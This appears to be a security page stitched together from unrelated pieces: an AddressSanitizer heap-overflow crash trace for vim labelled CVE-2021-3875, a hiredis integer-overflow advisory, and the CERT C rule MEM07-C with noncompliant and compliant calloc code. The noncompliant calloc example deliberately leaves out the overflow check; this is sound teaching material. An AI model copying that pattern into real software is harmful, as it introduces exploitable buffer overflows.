    ==2889370==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000013d00 at pc 0x00000049a4ef bp 0x7ffffffdbf30 sp 0x7ffffffdb6f8
    READ of size 4 at 0x621000013d00 thread T0
        #0 0x49a4ee in __asan_memmove (/home/aldo/vim/src/vim+0x49a4ee)
        #1 0x4d02e0 in vim_memsave /home/aldo/vim/src/alloc.c:597:2
        #2 0x75c5f58 in u_save_line /home/aldo/vim/src/undo.c:373:16
        #3 0x757d2c4 in u_saveline /home/aldo/vim/src/undo.c:3477:9
        #4 0x757a246 in u_save /home/aldo/vim/src/undo.c:257:2
        #5 0x43002fd in op_shift /home/aldo/vim/src/ops.c:145:9
        #6 0x22d91b1 in ex_operators /home/aldo/vim/src/ex_docmd.c:7743:6
        #7 0x209f37a in do_one_cmd /home/aldo/vim/src/ex_docmd.c:2611:2
        #8 0x201ebd1 in do_cmdline /home/aldo/vim/src/ex_docmd.c:1000:17
        #9 0x5c1b974 in do_source /home/aldo/vim/src/scriptfile.c:1406:5
        #10 0x5bffda5 in cmd_source /home/aldo/vim/src/scriptfile.c:971:14
        #11 0x5bfdd3f in ex_source /home/aldo/vim/src/scriptfile.c:997:2
        #12 0x209f37a in do_one_cmd /home/aldo/vim/src/ex_docmd.c:2611:2
        #13 0x201ebd1 in do_cmdline /home/aldo/vim/src/ex_docmd.c:1000:17
        #14 0x203af9a in do_cmdline_cmd /home/aldo/vim/src/ex_docmd.c:594:12
        #15 0x93c5f55 in exe_commands /home/aldo/vim/src/main.c:3081:2
        #16 0x93a0249 in vim_main2 /home/aldo/vim/src/main.c:773:2
        #17 0x932bfd4 in main /home/aldo/vim/src/main.c:425:12
        #18 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
        #19 0x41fe2d in _start (/home/aldo/vim/src/vim+0x41fe2d)
    
    0x621000013d00 is located 0 bytes to the right of 4096-byte region [0x621000012d00,0x621000013d00)
    allocated by thread T0 here:
        #0 0x49aced in malloc (/home/aldo/vim/src/vim+0x49aced)
        #1 0x4cd2ac in lalloc /home/aldo/vim/src/alloc.c:244:11
        #2 0x4ccfa3 in alloc /home/aldo/vim/src/alloc.c:151:12
        #3 0x9426f31 in mf_alloc_bhdr /home/aldo/vim/src/memfile.c:884:21
        #4 0x941b675 in mf_new /home/aldo/vim/src/memfile.c:376:26
        #5 0x387b40b in ml_new_data /home/aldo/vim/src/memline.c:4068:15
        #6 0x3867f37 in ml_open /home/aldo/vim/src/memline.c:394:15
        #7 0x694e5f in open_buffer /home/aldo/vim/src/buffer.c:190:9
        #8 0x93ae2a2 in create_windows /home/aldo/vim/src/main.c:2851:9
        #9 0x939c80d in vim_main2 /home/aldo/vim/src/main.c:704:5
        #10 0x932bfd4 in main /home/aldo/vim/src/main.c:425:12
        #11 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/aldo/vim/src/vim+0x49a4ee) in __asan_memmove
    Shadow bytes around the buggy address:
      0x0c427fffa750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffa760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffa770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffa780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffa790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c427fffa7a0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffa7b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffa7c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffa7d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffa7e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffa7f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==2889370==ABORTING
    

**💥 Impact**

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution

CVE-2021-3875: Heap-based Buffer Overflow in vim

Hiredis is a minimalistic C client library for the Redis database. In affected versions Hiredis is vulnurable to integer overflow if provided maliciously crafted or corrupted `RESP` `mult-bulk` protocol data. When parsing `multi-bulk` (array-like) replies, hiredis fails to check if `count * sizeof(redisReply*)` can be represented in `SIZE_MAX`. If it can not, and the `calloc()` call doesn't itself make this check, it would result in a short allocation and subsequent buffer overflow. Users of hiredis who are unable to update may set the [maxelements](https://github.com/redis/hiredis#reader-max-array-elements) context option to a value small enough that no overflow is possible.

The calloc() function takes two arguments: the number of elements to allocate and the storage size of those elements. Typically, calloc() implementations multiply these arguments to determine how much memory to allocate. Historically, some implementations failed to check whether out-of-bounds results silently wrapped \[RUS-CERT Advisory 2002-08:02\]. If the result of multiplying the number of elements to allocate and the storage size wraps, less memory is allocated than was requested. As a result, it is necessary to ensure that these arguments, when multiplied, do not wrap.

Modern implementations of the C standard library should check for wrap. If the calloc() function implemented by the libraries used for a particular implementation properly handles unsigned integer wrapping (in conformance with INT30-C. Ensure that unsigned integer operations do not wrap) when multiplying the number of elements to allocate and the storage size, that is sufficient to comply with this recommendation and no further action is required.

**Noncompliant Code Example**

In this noncompliant example, the user-defined function get_size() (not shown) is used to calculate the size requirements for a dynamic array of long int that is assigned to the variable num_elements. When calloc() is called to allocate the buffer, num_elements is multiplied by sizeof(long) to compute the overall size requirements. If the number of elements multiplied by the size cannot be represented as a size_t, then calloc() may allocate a buffer of insufficient size. When data is copied to that buffer, an overflow may occur.

size\_t num\_elements;

long \*buffer = (long \*)calloc(num\_elements, sizeof(long));
if (buffer == NULL) {
  /\* Handle error condition \*/
}
/\* ... \*/
free(buffer);
buffer = NULL; 

**Compliant Solution**

In this compliant solution, the two arguments num_elements and sizeof(long) are checked before the call to calloc() to determine if wrapping will occur:

long \*buffer;
size\_t num\_elements;

if (num\_elements > SIZE\_MAX/sizeof(long)) {
  /\* Handle error condition \*/
}
buffer = (long \*)calloc(num\_elements, sizeof(long));
if (buffer == NULL) {
  /\* Handle error condition \*/
}

Note that the maximum amount of allocatable memory is typically limited to a value less than SIZE_MAX (the maximum value of size_t). Always check the return value from a call to any memory allocation function in compliance with ERR33-C. Detect and handle standard library errors.

**Risk Assessment**

Unsigned integer wrapping in memory allocation functions can lead to buffer overflows that can be exploited by an attacker to execute arbitrary code with the permissions of the vulnerable process. Most implementations of calloc() now check to make sure silent wrapping does not occur, but it is not always safe to assume the version of calloc() being used is secure, particularly when using dynamically linked libraries.

Recommendation

Severity

Likelihood

Remediation Cost

Priority

Level

MEM07-C

High

Unlikely

Medium

**P6**

**L2**

**Automated Detection**

Tool

Version

Checker

Description

Astrée

22.04

  

Supported, but no explicit checker

CodeSonar

7.1p0

**ALLOC.SIZE.MULOFLOW**

Multiplication overflow of allocation size

Compass/ROSE

Parasoft C/C++test

2022.1

**CERT\_C-MEM07-a**

The validity of values passed to library functions shall be checked

Search for vulnerabilities resulting from the violation of this rule on the CERT website.

**Bibliography**

\[RUS-CERT\]

Advisory 2002-08:02, "Flaw in calloc and Similar Routines"

\[Seacord 2013\]

Chapter 4, "Dynamic Memory Management"

\[Secunia\]

Advisory SA10635, "HP-UX calloc Buffer Size Miscalculation Vulnerability"

Tag

#buffer_overflow